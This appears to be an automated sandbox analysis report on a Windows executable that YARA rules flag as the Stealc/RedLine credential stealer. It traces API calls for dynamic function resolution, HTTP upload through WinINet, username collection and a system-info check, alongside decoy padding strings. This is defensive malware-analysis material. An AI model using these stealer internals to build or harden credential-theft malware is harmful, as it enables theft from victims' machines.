Commandline:	"C:\Users\user\Desktop\4M3JIACIWk.exe"
Imagebase:	0x400000
File size:	350'208 bytes
MD5 hash:	0BC1C014E9E5D1B09D1CF2BA0E521C79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2087612753.0000000002480000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:42:03
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 1044
Imagebase:	0xa30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	4.7%
Signature Coverage:	12.3%
Total number of Nodes:	1417
Total number of Limit Nodes:	27

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction ID: 5e1cd967cc1bd71f365b3ff5871be6e8d111942329c8327febd6a33c3aeace51
Opcode Fuzzy Hash: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction Fuzzy Hash: 5841BD79740624EBC718AFE5EC8DB987F70AB4C712BA0C062F90296190C7F9D5019B3D

Function 00419860 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,0079DCE0), ref: 004198A1
GetProcAddress.KERNEL32(75900000,0079D078), ref: 004198BA
GetProcAddress.KERNEL32(75900000,0079CF70), ref: 004198D2
GetProcAddress.KERNEL32(75900000,0079D198), ref: 004198EA
GetProcAddress.KERNEL32(75900000,0079D138), ref: 00419903
GetProcAddress.KERNEL32(75900000,00797258), ref: 0041991B
GetProcAddress.KERNEL32(75900000,00795798), ref: 00419933
GetProcAddress.KERNEL32(75900000,007959B8), ref: 0041994C
GetProcAddress.KERNEL32(75900000,0079D1E0), ref: 00419964
GetProcAddress.KERNEL32(75900000,0079CFE8), ref: 0041997C
GetProcAddress.KERNEL32(75900000,0079CF88), ref: 00419995
GetProcAddress.KERNEL32(75900000,0079CFA0), ref: 004199AD
GetProcAddress.KERNEL32(75900000,00795758), ref: 004199C5
GetProcAddress.KERNEL32(75900000,0079D000), ref: 004199DE
GetProcAddress.KERNEL32(75900000,0079D228), ref: 004199F6
GetProcAddress.KERNEL32(75900000,007957B8), ref: 00419A0E
GetProcAddress.KERNEL32(75900000,0079D0C0), ref: 00419A27
GetProcAddress.KERNEL32(75900000,0079D1F8), ref: 00419A3F
GetProcAddress.KERNEL32(75900000,00795838), ref: 00419A57
GetProcAddress.KERNEL32(75900000,0079D210), ref: 00419A70
GetProcAddress.KERNEL32(75900000,007957D8), ref: 00419A88
LoadLibraryA.KERNEL32(0079D018,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(0079D168,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(0079D240,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(0079D048,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(0079D090,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75070000,0079D150), ref: 00419B02
GetProcAddress.KERNEL32(75FD0000,0079D180), ref: 00419B23
GetProcAddress.KERNEL32(75FD0000,0079D1B0), ref: 00419B3B
GetProcAddress.KERNEL32(75A50000,0079D030), ref: 00419B5D
GetProcAddress.KERNEL32(74E50000,007956F8), ref: 00419B7E
GetProcAddress.KERNEL32(76E80000,007971E8), ref: 00419B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA
XWy, xrefs: 004199B8
qy, xrefs: 00419B92
8Xy, xrefs: 00419A4A
Xry, xrefs: 0041990E

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8Xy$NtQueryInformationProcess$XWy$Xry$qy
API String ID: 2238633743-3607508908
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,007CC908), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,007CC858), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,007CC9D8,?,007CC638,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 00404B28
------, xrefs: 00404C69
", xrefs: 00404BF2
", xrefs: 00404D33
------, xrefs: 004049BD

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: af53b45c7d1414e7dc20276c78a04a4b8699d49fd5fc4d623f408e49df179ce7
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: af53b45c7d1414e7dc20276c78a04a4b8699d49fd5fc4d623f408e49df179ce7
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 229.9, APIs: 112, Strings: 19, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00795818), ref: 00419C2D
GetProcAddress.KERNEL32(75900000,00795858), ref: 00419C45
GetProcAddress.KERNEL32(75900000,0079D258), ref: 00419C5E
GetProcAddress.KERNEL32(75900000,0079D270), ref: 00419C76
GetProcAddress.KERNEL32(75900000,0079D288), ref: 00419C8E
GetProcAddress.KERNEL32(75900000,0079D300), ref: 00419CA7
GetProcAddress.KERNEL32(75900000,0079A898), ref: 00419CBF
GetProcAddress.KERNEL32(75900000,0079D2B8), ref: 00419CD7
GetProcAddress.KERNEL32(75900000,0079D2D0), ref: 00419CF0
GetProcAddress.KERNEL32(75900000,0079D2E8), ref: 00419D08
GetProcAddress.KERNEL32(75900000,007CA818), ref: 00419D20
GetProcAddress.KERNEL32(75900000,00795878), ref: 00419D39
GetProcAddress.KERNEL32(75900000,00795918), ref: 00419D51
GetProcAddress.KERNEL32(75900000,007958B8), ref: 00419D69
GetProcAddress.KERNEL32(75900000,007958D8), ref: 00419D82
GetProcAddress.KERNEL32(75900000,007CA7E8), ref: 00419D9A
GetProcAddress.KERNEL32(75900000,007CA878), ref: 00419DB2
GetProcAddress.KERNEL32(75900000,0079A4D8), ref: 00419DCB
GetProcAddress.KERNEL32(75900000,00795938), ref: 00419DE3
GetProcAddress.KERNEL32(75900000,007CA7D0), ref: 00419DFB
GetProcAddress.KERNEL32(75900000,007CA728), ref: 00419E14
